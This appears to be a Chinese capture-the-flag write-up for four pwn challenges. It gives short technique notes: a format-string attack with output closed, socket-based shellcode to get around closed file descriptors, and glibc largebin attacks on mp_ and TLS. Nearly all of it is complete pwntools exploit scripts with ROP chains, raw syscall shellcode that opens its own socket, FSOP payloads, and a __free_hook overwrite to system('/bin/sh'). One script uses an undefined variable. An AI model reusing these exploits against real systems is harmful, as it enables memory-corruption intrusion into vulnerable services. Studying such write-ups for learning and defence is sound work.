睡前第一的,半夜被人偷偷上分,早上起来就掉到第三了
拿了两个一血,还行
one
经典close 1的格式化字符串
修改printf的返回值到_start让_IO_2_1_stdout_指针残留在栈上
修改fileno为2重新获得输出,然后常规orw
from pwn import*
import random
r=remote("192.168.1.106",9999)
#r=process('./pwn')
context(os="linux",arch="amd64",log_level='debug')
libc=ELF("./libc-2.31.so")
if (bit-0x10<0): bit=bit+0xf0
r.recvuntil(":")
stack=int(r.recvline(),16)
success("stack: "+hex(stack))
r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil("a"*0x8)
pie=u64(r.recvuntil("\n",drop=True)+p16(0))-0x11a0
success("pie: "+hex(pie))
start=pie+0x11a0
off=[0x10,bit+1]
ptr=[stack-0x80,stack-0x7F]
tmp=start
for i in range(6):
off.append(tmp%0x100)
ptr.append(stack-0x1c8+i)
tmp=tmp//0x100
r.recvline()
r.send(fmtstr_payload(6, {stack-0xe8:pie+0x11a0}).ljust(0x200,"\x00"))
r.send("a"*0x8)
r.send("a"*0x8)
pre=0
fmt=""
data=""
for step in range (8):
min_num=0xFFFF
for i in range (len(off)):
if (off[i]<min_num):
min_num=off[i]
min_idx=i
fmt+="%"+str(min_num-pre)+"c%"+str(step+22)+"$hhn"
data+=p64(ptr[min_idx])
off[min_idx]=0xFF
pre=min_num
r.send((fmt.ljust(0x80,"\x00")+data).ljust(0x200,"\x00"))
r.send("a"*0x8)
r.send("a"*0x8)
#gdb.attach(r)
r.send("%2c%334$hhn;%334$p".ljust(0x18)+fmtstr_payload(9, {stack-0x2a8:pie+0x11a0}, numbwritten=0x17))
r.recvuntil(";")
libc_base=int(r.recv(14),16)-libc.sym["_IO_2_1_stdout_"]-112
success("libc_base: "+hex(libc_base))
add_rsp=libc_base+0x24242
pop_rax=libc_base+0x36174
pop_rdi=pie+0x1543
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92
payload=""
payload+=p64(pop_rdi)+p64(stack-0xb20)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc_base+libc.sym["environ"])+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(2)+p64(libc_base+libc.sym["write"])
r.recvuntil(":")
r.send("a"*0x8)
r.recvuntil(":")
r.send("a"*0x8)
r.recvline()
r.recvline()
r.send(fmtstr_payload(6, {stack-0xba8:add_rsp}).ljust(0x80,"\x00")+"flag.txt".ljust(0x18,"\x00")+payload)
r.interactive()
ezthree
close 0 1 2,必然要找其他通信方式
一开始以为是反弹shell,但是常规ctf_xinted框架给的是/bin/sh,不支持弹shell
整个框架不是跑在/bin/bash下的,所以/dev/tcp方法是用不了的
最后方案是mprotect延长shellcode然后自己创建socket管道去通信,orw flag发送
from pwn import*
#r=remote("127.0.0.1",9999)
r=remote("192.168.1.101",9999)
#r=process('./ezthree')
context(os="linux",arch="amd64",log_level='debug')
def ret():
r.recvuntil("> ")
r.sendline("ret")
def jmp(content):
r.recvuntil("> ")
r.sendline("jmp")
r.sendline(str(content))
def movrax(content):
r.recvuntil("> ")
r.sendline("movrax")
r.sendline(str(content))
def nop():
r.recvuntil("> ")
r.sendline("nop")
def zero():
r.recvuntil("> ")
r.sendline("zero")
shellcode=asm("""
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 6
syscall
push 0
mov rcx, 0x6001c0bd2040002
mov r8, 0x000000100000000
sub rcx, r8
push rcx
mov rsi, rsp
xor rdi, rdi
mov rax, 42
mov rdx, 0x10
syscall
jmp $+0x32
""")
shellcode+="b"*0x30
shellcode+=asm("""
push 0x67616c66
mov rax, 2
xor rdx, rdx
mov rdi, rsp
xor rsi, rsi
syscall
xor rdi, rdi
xchg rdi, rax
mov rsi, rsp
mov rdx, 0x50
syscall
xor rdi, rdi
mov rax, 1
syscall
""")
r.recvuntil(">> ")
r.sendline(shellcode+"a"*0x20)
r.recvuntil("> ")
#gdb.attach(r, "b *$rebase(0x185E)")
r.sendline("aaaa")
shell=asm("""
mov rsp, fs:[0x300]
push 0x8
pop rsi
push 7
pop rdx
push 0xA
pop rax
mov rdi, rsp
and rdi, 0xFFFFFFFFFFFFF000
syscall
sub rsp,0x67
jmp rsp
""")
r.recvline()
r.send(shell)
r.interactive()
A_fruit
经典largebin_attack,任意地址堆地址写
show的部分是爆破,最后三位固定,爆破能秒出
远程的TLS找不着,那就只好打mp了
mp:
from pwn import*
import os
r=remote("192.168.1.105",8888)
#r=process('./A_fruit')
context.log_level='debug'
libc=ELF("./libc-2.33.so")
def new(size):
r.recvuntil("5.Exit\n")
r.sendline("1")
r.recvline()
r.sendline(str(size))
def edit(idx,content):
r.recvuntil("5.Exit\n")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
r.recvuntil(":")
r.send(content)
def show(idx):
r.recvuntil("5.Exit\n")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
def delete(idx):
r.recvuntil("5.Exit\n")
r.sendline("4")
r.recvline()
r.sendline(str(idx))
def rol(num,shift):
for i in range(shift):
num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000)
return num
def exit():
r.recvuntil("5.Exit\n")
r.sendline("5")
new(0x428)
new(0x418)
new(0x418)
new(0x418)
new(0x458)
new(0x418)
new(0x448)
new(0x418)
new(0x488)
new(0x418)
new(0x478)
new(0x418)
new(0x4c8)
new(0x418)
new(0x4b8)
new(0x418)
new(0x508)
new(0x418)
new(0x4f8)
new(0x418)
delete(0)
show(0)
num1=int(r.recvline(),16)
num2=int(r.recvline(),16)
con=os.popen("./libc_base "+str(num1)+" "+str(num2))
libc_base=int(con.read(),16)-0x1e0c00
con.close()
success("libc_base: "+hex(libc_base))
IO_list_all=libc_base+libc.sym["_IO_list_all"]
environ=libc_base+libc.sym["environ"]
tls=libc_base-0x2890
#tls=libc_base+0x1c6570
top_chunk=libc_base+0x1e0c00
__printf_arginfo_table=libc_base+0x1eb218
__printf_function_table=libc_base+0x1e35c8
IO_cleanup=libc_base+0x8ef80
_IO_cookie_jumps=libc_base+0x1e1a20
gadget=libc_base+0x14a0a0
setcontext=libc_base+libc.sym["setcontext"]
mp=libc_base+0x1e02d0
#0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
pop_rdi=libc_base+0x28a55
pop_rsi=libc_base+0x2a4cf
pop_rdx=libc_base+0xc7f32
delete(2)
show(2)
num1=int(r.recvline(),16)
num2=int(r.recvline(),16)
con=os.popen("./heap "+str(num1)+" "+str(num2))
heap=int(con.read(),16)-0x290
con.close()
success("heap: "+hex(heap))
fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x18,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0xc8,"\x00")
fake_IO_struct+=p64(_IO_cookie_jumps+0x60)
fake_IO_struct=fake_IO_struct.ljust(0xd0,"\x00")
fake_IO_struct+=p64(heap+0x6d0)
fake_IO_struct=fake_IO_struct.ljust(0xe0,"\x00")
fake_IO_struct+=p64(rol(gadget^(heap+0xae0),0x11))
payload=p64(0)+p64(heap+0x6d0)+p64(0)*2+p64(setcontext+61)
payload=payload.ljust(0xa0,"\x00")
payload+=p64(heap+0x6d0+0xa8)
payload+=p64(pop_rdi)+p64(pop_rdi)+p64(heap+0x7f8)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap)+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])+"flag"
edit(1,payload)
new(0x418)
edit(0,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x290)+p64(environ-0x20))
delete(2)
new(0x5E8)
delete(4)
new(0x5E8)
edit(4,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(environ-0x20))
delete(6)
new(0x5E8)
edit(6,fake_IO_struct)
delete(8)
new(0x5E8)
edit(8,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(environ-0x20))
delete(10)
new(0x5E8)
delete(12)
new(0x5E8)
edit(12,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(mp-0x20))
delete(14)
new(0x5E8)
delete(16)
edit(0,"\x00"*0x68+p64(libc_base+libc.sym["__free_hook"]))
new(0x508)
edit(28,p64(gadget))
#gdb.attach(r,"b _IO_cookie_write")
delete(1)
r.interactive()
TLS:
from pwn import*
import os
r=remote("192.168.1.105",8888)
#r=process('./A_fruit')
context.log_level='debug'
libc=ELF("./libc-2.33.so")
def new(size):
r.recvuntil("5.Exit\n")
r.sendline("1")
r.recvline()
r.sendline(str(size))
def edit(idx,content):
r.recvuntil("5.Exit\n")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
r.recvuntil(":")
r.send(content)
def show(idx):
r.recvuntil("5.Exit\n")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
def delete(idx):
r.recvuntil("5.Exit\n")
r.sendline("4")
r.recvline()
r.sendline(str(idx))
def rol(num,shift):
for i in range(shift):
num=(num<<0x1)&0xFFFFFFFFFFFFFFFF+(num&0x8000000000000000)
return num
def exit():
r.recvuntil("5.Exit\n")
r.sendline("5")
new(0x428)
new(0x418)
new(0x418)
new(0x418)
new(0x458)
new(0x418)
new(0x448)
new(0x418)
new(0x488)
new(0x418)
new(0x478)
new(0x418)
new(0x4c8)
new(0x418)
new(0x4b8)
new(0x418)
new(0x508)
new(0x418)
new(0x4f8)
new(0x418)
delete(0)
show(0)
num1=int(r.recvline(),16)
num2=int(r.recvline(),16)
con=os.popen("./libc_base "+str(num1)+" "+str(num2))
libc_base=int(con.read(),16)-0x1e0c00
con.close()
success("libc_base: "+hex(libc_base))
IO_list_all=libc_base+libc.sym["_IO_list_all"]
environ=libc_base+libc.sym["environ"]
tls=libc_base-0x2890
top_chunk=libc_base+0x1e0c00
__printf_arginfo_table=libc_base+0x1eb218
__printf_function_table=libc_base+0x1e35c8
IO_cleanup=libc_base+0x8ef80
_IO_cookie_jumps=libc_base+0x1e1a20
gadget=libc_base+0x14a0a0
setcontext=libc_base+libc.sym["setcontext"]
#0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
pop_rdi=libc_base+0x28a55
pop_rsi=libc_base+0x2a4cf
pop_rdx=libc_base+0xc7f32
delete(2)
show(2)
num1=int(r.recvline(),16)
num2=int(r.recvline(),16)
con=os.popen("./heap "+str(num1)+" "+str(num2))
heap=int(con.read(),16)-0x290
con.close()
success("heap: "+hex(heap))
fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x18,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0xc8,"\x00")
fake_IO_struct+=p64(_IO_cookie_jumps+0x60)
fake_IO_struct=fake_IO_struct.ljust(0xd0,"\x00")
fake_IO_struct+=p64(heap+0x6d0)
fake_IO_struct=fake_IO_struct.ljust(0xe0,"\x00")
fake_IO_struct+=p64(rol(gadget^(heap+0xae0),0x11))
payload=p64(0)+p64(heap+0x6d0)+p64(0)*2+p64(setcontext+61)
payload=payload.ljust(0xa0,"\x00")
payload+=p64(heap+0x6d0+0xa8)
payload+=p64(pop_rdi)+p64(pop_rdi)+p64(heap+0x7f8)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap)+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])+"flag"
edit(1,payload)
new(0x418)
edit(0,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x290)+p64(tls-0x20))
delete(2)
new(0x5E8)
delete(4)
new(0x5E8)
edit(4,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(IO_list_all-0x20))
delete(6)
new(0x5E8)
edit(6,fake_IO_struct)
delete(8)
new(0x5E8)
edit(8,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(__printf_arginfo_table-0x20))
delete(10)
new(0x5E8)
edit(10,"a"*0x388+p64(IO_cleanup))
delete(12)
new(0x5E8)
edit(12,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(__printf_function_table-0x20))
delete(14)
new(0x5E8)
edit(14,"a"*0x100)
delete(16)
new(0x5E8)
edit(16,p64(libc_base+0x1e0ff0)+p64(libc_base+0x1e0ff0)+p64(heap+0x1320)+p64(top_chunk-0x20))
delete(18)
#gdb.attach(r,"b _IO_cookie_write")
new(0x5E8)
r.interactive()
fruitshop
又是largebin_attack,还是打mp
from pwn import*
r=remote("192.168.1.107",8888)
#r=process('./fruitshop')
context.log_level='debug'
libc=ELF("libc-2.31.so")
def fruit(size):
if (size==0xdd0): return "Apple"
elif (size==0xcb0): return "Banana"
elif (size==0xe50): return "Cherry"
elif (size==0x110): return "Durian"
def new(size,idx,content):
r.recvuntil("> ")
r.sendline("1")
r.recvline()
r.sendline(fruit(size))
r.recvline()
r.sendline(str(idx))
r.recvline()
r.send(content)
def delete(size,idx):
r.recvuntil("> ")
r.sendline("4")
r.recvline()
r.sendline(fruit(size))
r.recvuntil("idx:\n\x00")
r.sendline(str(idx))
def show(size,idx):
r.recvuntil("> ")
r.sendline("3")
r.recvline()
r.sendline(fruit(size))
r.recvuntil("idx:\n\x00")
r.sendline(str(idx))
def edit(size,idx,content):
r.recvuntil("> ")
r.sendline("2")
r.recvline()
r.sendline(fruit(size))
r.recvline()
r.sendline(str(idx))
if (size==0xdd0): time=4
else: time=1
for i in range(time):
r.recvline()
r.send(content)
new(0xcb0,0,"\n")
new(0xcb0,1,"\n")
new(0xcb0,2,"\n")
new(0xcb0,3,"\n")
delete(0xcb0,0)
show(0xcb0,0)
r.recvuntil("Content is")
libc_base=u64(r.recv(6)+p16(0))-libc.sym['__malloc_hook']-0x70
success("libc_base: "+hex(libc_base))
mp=libc_base+0x1ec2d0
new(0xcb0,0,"\n")
new(0xdd0,0,"\n")
new(0x110,0,"\n")
new(0xcb0,0,"\n")
new(0x110,0,"\n")
delete(0xdd0,0)
new(0xe50,0,"\n")
delete(0xcb0,0)
edit(0xdd0,0,"\x00"*0x18+p64(mp-0x20))
new(0x110,0,"\n")
delete(0xcb0,1)
delete(0xcb0,2)
delete(0xcb0,3)
edit(0xcb0,3,p64(libc_base+libc.sym['__free_hook']))
new(0xcb0,0,'/bin/sh')
new(0xcb0,1,p64(libc_base+libc.sym['system']))
#gdb.attach(r)
delete(0xcb0,0)
r.interactive()